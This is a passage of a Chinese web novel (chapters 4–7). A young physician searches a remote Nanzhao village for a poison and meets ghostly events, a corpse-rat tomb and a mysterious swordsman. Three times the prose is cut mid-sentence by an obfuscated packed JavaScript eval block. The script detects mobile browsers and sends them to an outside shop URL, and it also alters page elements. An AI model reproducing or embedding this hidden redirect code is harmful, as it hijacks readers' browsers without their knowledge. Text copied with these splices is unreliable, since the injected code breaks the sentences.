瑶光知道山里很难吃到这种糖,当即从背篓里摸出一块,笑眯眯地打算贿赂他,但被杜罗艰难地拒绝了。 “这些糖,要等毕摩来决定。”他很正气地说。 “那倔老头还没死吗?”瑶光拧眉。 毕摩相当于南诏部的大祭司,地位很高,婚丧嫁娶,医病祭祀,还有其他重要大事,都需要毕摩的首肯参与。 之前来寨里,瑶光险些没被这老头给搞死。 乌蛮六部中,南诏明明实力不弱,却因为极度排外,导致如今的闭塞落后。 在她看来,有一半都是被这顽固不化的老头害的。 杜罗无奈地看了她一眼:“回去后可别这么说,被人听到,你会有危险。” 瑶光满不在乎地点头:“知道,放心吧。” 杜罗又叹了口气,安慰道:“在我面前说,没关系。” 瑶光随口应了一声,还在想着到底多久能到。 有杜罗这个从小在山里长大的“野人”当向导,他们的速度一下子快了起来。 没多久,就看到了那座三面环山、一面抱水的古寨。 蓝天之下,极目远眺,青黝黝的群山绵延无边。 这里的人日出而作,日落而息,与世隔绝,一辈子未曾离开过寨子,过着与桃花源中人一样的生活。 瑶光很喜欢这里的山,这里的水,还有这里的人。 ……毕摩老头除外。 “你走后,寨里来了一群外族人,也是来找东西的。”杜罗说,“毕摩允许他们住在寨子边上,你要小心他们。” 瑶光好奇问道:“为什么?” 杜罗眉头紧锁:“这些人来后,寨里发生了怪事。我怀疑……” 他的声音低沉: “其中有一个,不是活人。” 4. 第 4 章 对于杜罗的话,瑶光很是吃惊。 听到前半段时,她心想那个性子比铜豌豆还倔硬的毕摩老头,居然会同意除了她以外的外族人住在这里? 而且还不止一个,怕不是心疾都要犯了吧。 但等听完后半段,瑶光浑身寒毛直立,立刻想到了那个在崖下温泉里看到的神秘男人。 “不是活人……是什么意思?” 她屏住呼吸问道, 脑海中则在拼命回想着昨天见到那个男人时的场景,越想越觉得诡异,就连记忆中男人苍白的面容都变得阴森起来。 如果是活人,泡在那么烫的泉水里,不可能不被烫伤的。 难不成,他不是狐狸精变的,而是僵尸或者旱魃? “不知道,直觉,”杜罗有些烦躁,他粗声粗气道,“总之,他们肯定不是好人,瑶瑶,你不要离他们太近。” 瑶光重重点头。 就算那男人是正经会喘气的大活人,那么冷淡刺人的脾气,她肯定也会对对方敬而远之的。 于是杜罗不再说话。 最后这段路不好走,他专心替瑶光带起了路,遇到陡峭的下坡,还时不时搭把手。 在进入寨子前,瑶光看到了一个正蹲在树下愁眉苦脸喂松鼠的男人。 那松鼠实在太肥了,她觉得很有意思,不由得多看了两眼。 他穿着一身当地的服饰,似乎是打算入乡随俗。 但多半不知道,这是寨民们春秋天才穿的,因此被热得满头大汗。 松鼠男对视线很敏.感,瑶光还没盯多久,他就抬头看了过来。 在看到她的长相后,他诧异地挑了挑眉,露出了一副若有所思的表情。 瑶光的心情一下子变得糟糕起来。 她讨厌被人这样,像是当成某种物品似的来回打量。 就跟上辈子父亲看她一样。 等进入寨子后,她问杜罗:“那个家伙,就是你说的外族人吗?” 杜罗点点头,又摇摇头。 他看上去一副心事重重的模样。 瑶光很少见杜罗这样。 但对方不回答,她也不能自讨没趣,转而观察起了周围的环境。 一路走来,寨子的模样没什么太大改变。 气氛却和她上次来时大不相同了。 瑶光从一些年轻人的眼中,察觉到了浓浓的敌视——如果不是杜罗带她进来,想必自己现在已经被人群包围了。 她不由得问道:“杜罗哥,寨里是不是发生什么事了?” 杜罗抿唇不答,只道:“我去找毕摩,帮你问问杜桑的事。你先住下,还是老地方,等找到东西后,赶紧走。” 他把瑶光送到了她上次的住处,拿上糖块就急匆匆离开了。 瑶光站在门口看着他的背影,一头雾水。 但转念一想,她此行的目的只是为了找到杜桑,乌蛮六诏的水太深,就连朝廷官员都觉得头大,她又何必庸人自扰呢? 而且瑶光隐约想起,上辈子这边似乎发生了什么事情,圣人震怒,还动了刀兵。 可惜那时候她已经病入膏肓,无暇关注这些,只听说双方都没讨到好,打得极为惨烈。 还是按照杜罗哥说的,早点找到东西后就离开吧。 这里的寨民都住在一种叫做“土掌房”的民居内,垒石为墙基,以土坯砌墙,顶上的平台还能用来晾晒腊肉干菜。 她进了屋子,把床榻简单收拾了一下,又去前面不远处的河边打了桶水,洒扫地板。 等打扫干净,日头也快要落山了。 瑶光把房门打开,坐在门前,静静眺望着远方的落日晚霞。 群山送来夏日的凉风,山中的傍晚,天还是蔚蓝的。 几点明亮的星子在天空中闪烁,河畔传来寨中姑娘的歌声,曲调十分悲伤。 为了方便和当地人沟通,上次来时,瑶光学了一些他们的语言。 仔细聆听后,她发现这首歌讲的是一个关于送葬和当地人祖灵的神话故事。 这里的人们相信,人是从红雪中演化而来的。 瑶光静静听着歌声,坐在门口发了一会儿呆。 在天黑前,杜桑回来了,还给她带来了一些生活用品。 “毕摩说,他没见过杜桑,但,可以往河下游走,那边山里有一种毒草,不知道是不是。” 瑶光听完,心道真是奇也怪哉,毕摩老头这次居然这么好说话。 哪像上次,跟个锯嘴葫芦一样,一问三不知。 难道真是看在那些糖块的份上? 一把年纪了还爱吃糖,门牙估计都掉光了吧。 她回过神来,谢过杜罗,翻了翻他带来的东西。 里面竟然还有一盏做工精良的风灯。 “镂空牡丹……这雕工,应该是中原这边匠人做的吧?” 她好奇地点燃它,这盏风灯的火光比普通油灯明亮许多,看来灯油大有门道,而且十分轻灵,不管怎么吹气都吹不灭。 应该很适合在风雨恶劣的天气出行。 杜罗沉默了一会儿,勉强道:“那些外族人送给我,我不要,给了毕摩。” “然后你又从毕摩老头那儿拿回来,送给了我?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345130|152663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑶光看着他,想象着毕摩当时的表情,忍不住噗嗤笑出了声。 碰上杜罗这样耿直的憨子,那张松树皮似的老脸恐怕都要皱巴成一团了吧? 她边笑边把鬓发拢到耳后,低下头,转了转手中的风灯。 灯光映照在四面木墙上,光影变幻间,犹如万花齐放。 还挺好玩的。 抬头发现杜罗正呆呆地盯着她,神情莫名有些紧张。 他磕磕巴巴地说:“我、我是南诏第一勇士……” 瑶光颇为认可地点点头:“没错,那毕摩老头再怎么跳大神,也不能动摇你在寨中的地位。再说了,这灯本来就是人家送给你的,你拿走天经地义。” 杜罗却像是一下子泄了气。 他有气无力地应了一声,没待多久就走了。 临走前,他再次叮嘱瑶光:“晚上把门关好,天黑后,千万别出门。” 瑶光答应了一声,没放在心上。 但睡前她想了想,还是捡了块木头,用鱼肠剑削成三角形,顶在门缝里防患未然。 事实证明,她的做法十分正确。 半夜睡得迷迷糊糊时,瑶光听到外面传来女人尖利的哭声,声音混在呼啸的山风里,分不清究竟是鬼哭还是人哭。 她睁开眼睛,皱着眉头坐起身。 这间屋子没有窗户,深夜室内一片伸手不见五指的漆黑,外面似乎起了大雾,连门缝里的月光也稀薄不可见了。 死寂的黑夜中,突然响起了敲门声。 “咚咚。” 瑶光扬声问道:“谁?” 无人应答。 过了一会儿,敲门声再度响起。 瑶光的身子紧绷起来,她从枕头下摸出鱼肠剑,小心翼翼地走到门边,又问了一遍:“是谁?” “杜罗哥,是你吗?” 依旧没有人回答。 但瑶光在空气中嗅了嗅,神情愈发凝重——这股常人难以忍受的恶臭味道,错不了的。 是尸臭。 除此之外,她还有一个发现: 敲门声传来的位置很低,不像是正常成年人的高度,倒和三岁孩子差不多。 可是这大半夜的,怎么会有那么小的孩子来敲她的房门? 瑶光觉得非常不对劲。 她打定了主意不开门,然而实在对门外的东西太好奇了,于是她趴下来,从底下的门缝里向外张望。 只一眼,瑶光浑身寒毛炸开,幸好仅存的理智让她一把捂住了自己的嘴,把尖叫声堵在了喉咙眼里—— 门缝外,全是密密麻麻的女人头发! 5. 第 5 章 瑶光握着鱼肠剑,在床边坐了一晚上。 她死死盯着门口的位置,生怕稍一不注意,外面的妖魔鬼怪就要破门而入。 但她耐心等待许久,门外的动静却就此消失了。 深夜山中下起了小雨,她听着稀稀拉拉的雨声,困意上涌,不知不觉靠墙睡了过去。 再睁眼时,雨已经停了。 瑶光再次趴下来朝外张望。 门外空荡荡的,仿佛昨夜发生的一切都只是幻觉。 她小心翼翼地打开门。 果然,什么也没有。 但她蹲下身,拾起了角落里的一根断发,仔细闻了闻。 的确有一股尸臭的味道。 ……不是幻觉。 瑶光深吸一口气,望向凌晨月色下寂静的古寨。 空山潮湿的雨气争先恐后地灌注进肺里,她的头脑清醒了些,终于察觉到周围环境的异样。 天将亮未亮的时分,与薄暮最大的区别不在于光线,而是声音。 实在太安静了,她想。 就算寨里的人没醒,连一声鸡叫都没有,太不正常了。 如果她不是曾在这里生活过一段时间,也不会发现这样的细节。 此处不宜久留,她想。 她简单洗漱了一番,挽起头发,决定暂且信一回毕摩老头的话,去河的下游看看。 这条河贯穿古寨,瑶光听当地人叫它“官河”。 河水沁凉入骨,清澈见底,最深处不过一丈,是从山崖缝隙里流淌下来的山泉水汇聚而成。 晨间多雾,瑶光带上了那盏风灯,沿着河边往下游走。 走着走着,一时兴起,捡起河边一块石子,用力往河面上一掷,一连打了七个水漂,高兴得吹了声口哨。 吹完后她瞬间心虚,左顾右盼一番,确定四周没人才放下心来。 再一想,自己都离家出走两年了,估计早就被林家除名,什么官家小姐礼仪涵养,都见鬼去吧! 这么一想,她又自在起来。 脚步轻快地往前走,心中有种反叛的快意。 哼着路过勾栏听来的小曲儿,瑶光一头扎进了森林里。 刚下过雨,林子里弥漫着潮湿清醒的空气,星星点点颜色鲜艳的蘑菇,也都从被厚厚腐植覆盖的树根下探出头来。 瑶光有些馋了:水灵灵的毒蘑菇,兴许可以摘回去煲汤……药用也不错。 她和一般医师不同,没什么治疗常见病的经验,再加上年轻,病人家属也信不过,能送到她手上的,基本都是已经被当地大夫判了死刑的病人,想着死马当活马医,才答应她用以毒攻毒的法子治疗。 有的能治好,千恩万谢地走了,但无力回天的也不在少数。 但就算家属大骂庸医,诊金她也照收不误——当初收下的时候就说过,她尽力救治,死活不论。 深山森林广袤,因为一直没找到毕摩老头所说的毒草,瑶光不禁有些心急,调转方向往林子更深的地方走了一段,没注意脚下腐叶堆积的地面并非实地,一脚踩空,摔进了一个洞里。 她摔得龇牙咧嘴,还好,风灯没灭。 瑶光揉了揉腰,转过身,却看到一个黑黢黢的入口—— 四周地面上堆满了皑皑白骨,在风灯的映照下格外阴森恐怖。 她呼吸停滞了一刹那,后背的冷汗顷刻间浸透了衣服。 瑶光咬了下舌尖,定了定神,蹲下身,却发现这些大部分都不是人骨。 倒更像是……某种小型兽类的骨头。 鸡肯定不可能,她想。 寨里一共才养了十几只鸡,把鸡祖宗加上也凑不够啊。 再说了,谁会没事专门把鸡骨头丢这么远的洞里? 瑶光仔细观察一番,确定这应该是老鼠的骨头。 因为角落里还堆着一些没完全腐烂的老鼠毛皮尾巴,但也被啃得七零八碎了,散发出极其刺鼻难闻的气味。 她从前听老人家讲过,老鼠活久了,就成了精,会模仿人的行为,比人还狡猾,但也比人重情义。 饥荒年代,预感到自己快死的时候,有的老鼠会跑到专门的洞穴里,不吃不喝等死,让其他同类啃噬自己的尸体。 这些吃同类腐肉烂肉长大的老鼠,身上都带着尸毒。 而且,一代比一代更毒。 就像是养蛊一样,最终,会诞生出一只剧毒无比的尸鼠王来。 瑶光的心脏咚咚跳起来。 她心想,所谓见血封喉的“杜桑”,难不成指的就是从尸鼠王身上炼出的毒吗? 那岂不是得来全不费功夫! 瑶光大为感动,没想到,毕摩老头还真有点用处。 希望的曙光就在前方,一时间她精神大振,看着眼前深不可测的洞口,突然感觉也没那么可怕了。 毕竟没什么比救自己的命更重要。 瑶光一手握着鱼肠剑,一手提着风灯,小心翼翼地往前走。 昏暗洞穴内弥漫着腐烂的气息,时不时传来滴水的声音。 洞道很狭窄,还有一些人根本进不去的老鼠洞,四通八达,一直延伸直地底深处。 她弓着身子走在主道上,努力让自己忽视四周越来越大的兽类骨骼——这里估计不止是尸鼠的坟墓,还是它们储藏粮食的地方。 要说害怕,肯定还是有点的。 但瑶光从小胆子就比同龄人大,就连她的远房表哥,半夜听鬼故事都会被吓得哇哇大哭,她却只会一个劲儿地追问:“那接下来呢?” 比起站在原地踌躇不前,她更喜欢向前走——哪怕前路漫漫,充满了未知的冒险。 不知走了多久,突然洞道的空间一下子开阔起来。 瑶光怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345131|152663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么也没想到,洞道的尽头,竟然会是一处墓室! 入口处放置着两尊人头鸟身像,眼珠凸起,嘴巴大张,耳朵上戴着蛇形坠饰,脚下也踩着两条长蛇。 石像表面被漆成暗红色,风格粗糙奇诡,不太像是中原文化。 四周墙壁上绘着斑驳的壁画,因为年代久远,许多画面都被潮气霉斑腐蚀,看不甚清晰。 但这些都不是瑶光关心的部分。 她停下脚步,提起风灯,怔怔地望向前方的巨大黑棺。 在看清棺材样式的瞬间,她如坠冰窟,浑身血液都仿佛在刹那间凝固成冰。 耳畔仿佛又回荡起了那一夜的雷雨声,和宫人撕心裂肺的哭泣哀求。 许久后,瑶光才脸色苍白地回过神来。 但她仍有些神思不属,怎么也想不明白,为什么这口黑棺会出现在这里? 上辈子,又是谁把它运送到京城的?为什么? 无数问题纷至沓来,几乎要将瑶光淹没。 她逼着自己暂且不去想这些,走到棺材边上,慢慢伸出手,触摸着黑槐木棺盖上古老蜿蜒的纹路。 这是一棵树的形状。 她还知道,就连这口棺材的内部,也刻满了数不清的藤蔓图腾。 瑶光仔仔细细地把这口棺材从上到下打量了一遍,视线最终凝固在了棺盖侧面的一行刻字上。 这是金石文字,从前父亲教过她一些。 瑶光弯下腰,用手指抚摸着凹凸不平的刻痕,发现上面写的是一句谚语: 上界生格树,临到格树枯;腐烂逾三载,枯木起白雾;雾散开红花,其名曰杜桑。 杜桑! 瑶光睁大了双眼,心中剧烈震动。 她怎么也没想到,自己居然能在上辈子见过的棺材上,找到有关杜桑的线索! 她紧张地咽了咽唾沫,踌躇许久,还是决定开棺看看。 虽然她知道棺材内部长啥样,但说不定,黑棺主人的身上也会有关于杜桑的线索呢? 瑶光把风灯放到一旁,双手合十朝棺材拜了三拜,口中念念有词:“打扰您老人家安眠,真是对不住,小女子在这里给您赔个不是,天灵灵地灵灵,您老千万别显灵……” 突然,棺盖猛地震动了一下。 她吓得差点心跳骤停,握着鱼肠剑噔噔噔后退几步,心道不会吧,这么小气的吗?她都还没动手呢! 瑶光如临大敌地注视着棺盖被人从里面掀开。 一个熟悉面孔从棺材里坐了起来。 男人的墨色长发披散在身后,眼神微微怔忪,像是刚睡醒似的。 他看到瑶光时,也愣住了。 犹豫了一下,皱眉问道:“现在是什么时辰?” 真见鬼了! 瑶光瞪着那苍白男人,失声道: “你怎么在这里!?” 6. 第 6 章 男人的双眼很快恢复了清明。 他深深看了瑶光一眼,叹了口气,从棺材里翻身跳出来。 没有理会瑶光的怒视,也没有再问别的,而是先环顾一圈,视线在扫过地上那盏风灯时顿了顿。 最后,若有所思地落在了西南的角落。 瑶光顺着他的目光望过去,才发现那里靠墙半躺着一具白骨。 看衣饰和随身佩剑,应该是前朝的贵族。 她恍然:“难道这才是棺材主人……?” 可这人为什么要把棺材主人搬出来,自己躺进去? 想起昨天杜罗警告自己的话,瑶光怎么看这人怎么觉得诡异。 虽然他的脸色比起上次见面好看了些,没有那么惨白了。 但在瑶光看来,依旧不怎么像个正常人。 ……或者说,活人。 她定了定神,语气不善地问道:“你是谁?” 男人瞥了瑶光一眼,言简意赅道:“赵傀。” 瑶光皱眉,这不等于没回答吗? “我问的是你的身份,你为什么会在这里?” 这回赵傀直接装没听见了。他淡淡道:“今早我给自己算了一卦,卦象显示有血光之灾,还想着,今天一天都待在棺材里,哪里来的血光,没想到,是应在了你身上。” 瑶光:“……所以你也是个神棍?” “什么叫‘也’?”赵傀反问道。 瑶光没回答,她扭头想把棺材主人放回去,这姓赵的缺德带冒烟,平白无故占了死人的棺材,还差点把她吓出心脏病来。 人品差劲,也就只剩一张脸能看了。 但她抬头一看,却发现就这么一会儿功夫,那具白骨竟然不翼而飞了! 瑶光再次被吓出了一身冷汗。 她暗骂这姓赵的怕不是霉神转世,每次碰上他都没好事,而此时赵傀也发现了白骨凭空消失,脸上稍显疲怠的神色顿时一扫而空。 他从棺材里捞出了一把镔铁横刀,拔刀出鞘,警惕地盯着入口的位置。 瑶光看着那把刀,眼睛瞬间直了。 黑鳞皮,七星钉,刀身雪花纹样。 ——一看就是技艺纯熟的官匠打造的极品! 她还记得,自己父亲曾经也买过一把类似的镔铁横刀,用来镇宅,一把刀就花了他近一个月的俸禄,还是托了人才买到的。 但在瑶光看来,那把刀的品质远不如这把。 这种名刀有价无市,寻常人一辈子都难得见上一次。 虽然知道现在不是谈话的好时机,奈何她见猎心喜,弯腰捡起那盏风灯照明的同时,忍不住又多看了几眼。 “你这刀……”卖吗? 赵傀干脆利落地一刀砍断了洞中冒头尸鼠的脑袋,甩干刀上的粘液,偏头问道:“什么?” “……没什么。” 瑶光看着那把沾过尸水、血水和老鼠毛的横刀,虽然现在已经没了,但还是默默把到嘴边的话咽了回去。 “所以,刚才就是这些老鼠让白骨消失的?” 她盯着地上没了脑袋还在妄自挣扎的尸鼠,觉得那双血红眼睛十分渗人,但也不禁疑惑道:“长得确实比普通老鼠大一圈,但它们能有这么大的本事,一转眼就把白骨搬走了?” “这只是小喽啰。”赵傀说,“今天尸鼠王不在家,得赶紧走,不然就走不了了。” 瑶光好奇道:“你怎么知道的?” 她觉得这男人身上全是谜团,明明是谁也不确定的事情,他的语气却特别笃定,像是亲眼见到的一样。 赵傀:“算出来的。” 瑶光眉头一跳,看着他左手腕上用红绳系的三枚铜钱,立刻想起了那个提醒她小心死人棺材的老道士。 她嘟囔道:“我和神棍犯冲。” 但还是加快脚步,跟上了赵傀。 虽然不明白为什么那口黑棺会出现在这里,可赵傀有一点说的对,此地的确不宜久留。 洞道狭窄,两人一前一后,彼此也有所提防,走得并不算快。 瑶光觉得有些憋闷,想要找个话题聊聊。 但赵傀显然没有和她聊天的想法,直接一句冷淡的“做好你该做的事”就把她堵死了。 她烦闷心想,什么叫该做的事?是大白天脱光了在温泉里耍流氓,还是躺在死人棺材里吓唬人算该做的事? 走到一半,赵傀突然停下脚步。 他侧耳听了一会儿,问道:“你有没有听到什么声音?” “什么?”瑶光一愣,“是前面有什么东西吗?” “不,不是前面,”赵傀转头,皱眉看向她,“是从你斜后方传来的。” 瑶光刚要说那继续往前走不就得了,突然听到一阵熟悉的嘶嘶声,她心跳加快了一拍,来不及转头,下意识抬起手挡在了赵傀的脸前。 “嘶——” 小臂传上来钻心的刺痛。 赵傀瞳孔一缩,立刻伸手抓住阎王花的七寸,徒手掐断了它的脑袋,用力丢到了远处。 他的动作太快了,瑶光眼前一花,只隐约瞧见那条阎王花似乎和之前看见的不太一样,身上长着羽毛一样的东西。 但她现在顾不上在意这些细节。 毒液在体内蔓延的感觉让她有些眩晕,瑶光的身子晃了晃,半跪在地上。 赵傀一把扶住了她,神情凝重道:“你没必要为我挡灾,你不应该是来……”他犹豫了一下,把后半句话咽了回去,竟然还反问起了瑶光,“好好的,你管这些做什么?” 要不是没力气,瑶光一定当场翻个大白眼给他看! “行,就当我多管闲事吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345132|152663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”她蔫蔫道。 但没办法,如果她不出手,那蛇肯定就咬到赵傀脸上了。 她被咬,最多身体无力晕一会儿,等中午就能吃能喝能跑能跳; 换做赵傀被咬,首先那张脸肯定保不住,人估计也要留下和白骨兄弟作伴了。 被毒蛇咬的滋味不好受。 瑶光现在的感觉,就跟喝了假酒一样,脸颊滚烫,晕乎乎的。 但借着风灯的光线,看着赵傀那张死人脸上露出沉痛的表情,她甚至还觉得有些好笑。 “看在我救你一命的份上,”她咕哝道,声音低不可闻,“把我带出去吧。” 她可不想在老鼠洞里睡午觉。 赵傀不知道想到哪去了,他定定地看了瑶光一眼,动作轻柔地拨开她额前被冷汗浸湿的发丝,说了声好。 转身将她背在自己背上,拿起了那盏风灯。 瑶光趴在男人宽阔的肩膀上,眼前的视野晃来晃去,更迷糊了。 还有点儿想吐。 “你叫什么名字?”赵傀低声问道。 “瑶光,七星破军的瑶光。” 搂着她的手紧了紧,赵傀的声音带上了些许愠怒:“我是说你真正的名字。他连名字都没给你们取吗?” 瑶光迷迷糊糊地想,他是谁? 他亲爹不就给她取了这个名吗,她只不过不要姓了而已。 “我就叫这个。”她肯定道。 赵傀沉默了。半晌,他哑声问道:“你还有什么没完成的愿望吗?我不敢保证一定做到,但会尽量帮你完成。” 原来这人还是会好好说话的,瑶光心想。 这会儿她意识已经比刚才清醒多了,她心下一沉——这可不是什么好消息,只能说明毒瘢的噬力比之前更强了。 也意味着,留给她的时间更加紧迫了。 见她许久未答,赵傀语气急促道:“别睡!至少要等出去……你只管说,我都听着!” 瑶光突然起了坏心眼。 她觉得,像赵傀这样正经又古板的家伙,逗弄起来应该会很有意思。 于是便幽幽叹息一声,说:“要说遗憾,倒也有一桩。我长这么大,还没找过一个相好的,没想到年纪轻轻,就要死在这种鬼地方。” 赵傀立刻道:“正好前段时间,我有个下属牺牲了,他也没有成家,我可以做主,给你们配个冥婚。” 瑶光在他背上使劲儿翻白眼,语气却愈发虚弱,像是下一秒就要断气:“咳咳,素未谋面,怎么好麻烦人家。说不定,人家都已经投胎了呢。” “那……” 瑶光咬紧牙关,拼了命才忍住笑意,脸都憋红了。 她深吸了口气,脸颊贴着赵傀微凉的脖颈,气若游丝地笑问道: “不知这位公子……你可否愿意?” 7. 第 7 章 身下的男人僵住了。 瑶光开始在心里默念三字经。不行,她想,千万不能在这时候笑出来,不然就要功亏一篑了。人之初性本善性相近习相远…… 然后她就听赵傀沉声道:“抱歉,我已有婚约在身。” 瑶光大吃一惊,这姓赵的竟然还真是个活人! 他甚至还有未婚妻! 也不知道哪家姑娘这么倒霉,碰上一个这样的夫君,这辈子怕是别指望过上安生日子了。 瑶光好奇问道:“你那未婚妻,是个什么样的人?” 赵傀沉默了一会儿,说:“我只在多年前见过她一面。” 瑶光同情地拍拍他的肩膀,论起盲婚哑嫁,上辈子她比赵傀还惨,那短命王爷长啥样都不知道她就嫁了,到死也没见过面。 入宫后就更惨了,皇帝沉迷长生,一天到晚不是修仙就是炼丹,连前朝大臣都见不着他,更别提后宫了。 “你不该替我挡这一下,”赵傀又重复了一遍,“我今日虽有血光之灾,但命不该绝,你替我挡灾,就沾了我的因果。” 瑶光不耐烦道:“挡就挡了,哪来这么多怪话?卦象也不一定准,都是胡说八道听个乐呵,谁会没事把这个当真。难不成你出门前,还要算算自己先迈左脚还是右脚吗?” 赵傀摇摇头:“你不明白,我的命格和寻常人不同。” “行了,赵半仙,”瑶光说,“你也不用愧疚,我体质特殊,死不了的,咱先出去行吗?这破老鼠洞我待够了。” 赵傀脚步顿了顿,继续往前走。 但也没把瑶光放下。 “你跟之前那些人,不太一样。”他说。 “之前什么人?” 赵傀不答,转而问道:“这盏风灯是谁送你的?” “杜罗哥。这不是你们送他的?” “是,你与他关系很好?” 瑶光正要回答,突然警觉:“怎么,你想打探情报?” “只是问问。”赵傀的语气恢复了平淡,“杜罗和整个南诏部都不欢迎外来者,我很好奇,他为什么唯独对你态度不同。” 瑶光心道那是因为我讨喜,哪像你一样天天摆个死人脸,还不说人话。嘴上却道:“谁知道呢,你可以自己去问问他。” “他什么都不肯告诉我们,”赵傀说,“最近这里发生了一些不符合常理的事情,你也应该有所察觉吧?” 瑶光想到昨晚的经历,不由自主地点了下头。 又想起她在赵傀背后对方看不见,于是问道:“你知道原因?” “知道一些。” 她等着赵傀继续往下说,谁知道说完这句后,赵傀就闭上了嘴巴,无论如何也不开口了。 瑶光气得要死,却也拿他没办法,只好干巴巴地换了个话题:“喂,你知道那口棺材是谁的吗?你为什么要睡在里面?” 这回赵傀倒是开口了:“棺材里葬着的是前朝一位风水师。此处位置极为特殊,南诏部寨子三面环山,唯有正东白虎位空缺,独一处矮丘,形似蹲虎,此乃虎蹲衔尸之地,阳气旺盛,与葬尸地来说是大凶,但与活人便截然不同,至于那口黑槐木棺材,则有辟邪镇煞、养气凝神的功效。” 瑶光琢磨了一会儿,明白了:“所以你单纯是来,呃,借风水宝地疗养身体的?” 赵傀点头。 瑶光心道就算真有效果,躺在棺材里养气凝神也太荒唐了。 而且不渗的慌吗? 换她她肯定不干。 但她想了想,又觉得不对:“既然是大凶,为什么风水师会在这里建墓?他不可能不懂这些吧。” “他不是墓主人,”赵傀说,“刚才那个地方,也不是墓穴。” 瑶光悚然:“那是什么?总不会是咱们的幻觉吧。” 她想起了那两尊人头鸟身的诡异石像,还有墓室墙上的斑驳壁画,那么真实的细节,怎么会是假的? “陷阱。”赵傀说,“石雕、棺材和下葬的风水师都是真的,墓是假的。那些壁画有故意做旧的痕迹,距今不会超过十年。” 瑶光艰难理解着他所说的话,觉得颇为匪夷所思。 原本她还高兴于自己终于找到了有关杜桑的线索,谁知道背后还有这样一段前因后果——要不是赵傀跟她说了这些,她绝对发现不了。 可是为什么会有人在尸鼠洞深处专门挖出一个假墓穴? 如果说是陷阱的话,那它又是针对谁布置的呢? 毒还没完全解,瑶光越想越觉得头痛欲裂。 真真假假,假假真真,自打她来到寨中,谜团就像是雪球一样越滚越大。见鬼了,老天爷难道就不能让她安生一点吗? “陷阱也分很多种,有的是为了杀人,有的,只是为了引诱人陷得更深。” 瑶光这才发现自己不小心把心里的疑问说出了口,但赵傀只是淡淡说了一句,似乎不愿意多讲。 他偏头看了看瑶光,叹气道:“看来你真的什么也不知道。” 瑶光怔了怔,顿时怒火中烧—— 这姓赵的居然以为,这是她设的陷阱? 怪不得刚才突然说这么多话,敢情还是为了试探! “放我下去!”她冷着脸道,见赵傀不松手,使劲儿挣扎了两下,突然听赵傀按住她,语气急促地说了一声:“嘘,别出声!” 瑶光瞬间安静下来。 洞道不知何时已经走到了尽头。 前方,就是她刚才掉下来的白骨洞穴。 本来除了白骨,这里应该什么都没有的,但不知何时,竟多出了一具喜服打扮的长发女尸! 它是什么时候在这里的? 女尸头朝下趴在地面上,看腐烂情况,起码死了得有五六天了。 瑶光死死盯着女尸潮湿黏腻的长发,咽了咽唾沫,趴在赵傀肩上压低声音说:“我……好像见过她。” “什么时候?”赵傀立刻用气声问道。 “昨晚。” 瑶光把自己昨晚经历的事情简略讲了一遍。 赵傀点点头,声音中竟然还带上了一丝笑意:“那没错了,就是她,我们已经找她很久了。” 没事找一具已经腐烂的尸体干嘛? 瑶光像瞪怪物一样瞪着赵傀,可惜赵傀后脑勺没长眼,也看不见。 突然,那女尸的手颤动了一下。 一截动物的指骨从白骨堆上咕噜噜滚到了他们面前。 瑶光脸色苍白,心都要从嗓子眼里跳出来了——她虽然死过一次,但也没亲眼见过死人诈尸啊! “能走吗?”赵傀问她。 瑶光咬着下唇,感受了一下尚且麻木的双腿。 方才她要从赵傀背上跳下来,想的是就算走不了,大不了站着休息一会儿,但现在这个状况明显不允许。 她没回答,但赵傀已经明白了。 他说:“那就抱紧我。” 瑶光下意识搂紧了赵傀的脖颈。 赵傀微凉的体温让她打了个寒颤。 明明背着她走了这么长一段路,这人脸不红气不喘就罢了,怎么连体温都还这么低? 但很快,接下来发生的一幕,立刻让她把这些乱七八糟的念头丢到了一遍—— 瑶光终于明白那女尸为什么会动了,她亲眼看到,从尸体的身下,居然钻出了一只比猫还大的老鼠! 只一眼,瑶光就确信这绝对就是自己要找的尸鼠王。 它长着尖牙利爪,豆大的眼睛在黑暗中散发着幽幽红光,胡须很长,毛发已经被尸毒腐蚀得斑驳脱落,像老头一样皱巴巴的皮肤呈现出诡异的青绿色。 在瑶光和赵傀观察它的时候,尸鼠王也和它的小喽啰们一起,蹲在白骨堆上居高临下地观察着他们,似乎是在判断着闯入者的实力。 瑶光已经把那条误事的阎王花在心里骂了几百遍,如果不是它,她至少还能和赵傀并肩作战,哪像现在,就是个累赘。 她反复看了几遍尸鼠王鼻下垂着的两条囊肿样的粉色肉瘤,确定那应该就是它的毒腺。 也不知道比起阎王花,毒性孰强孰弱。 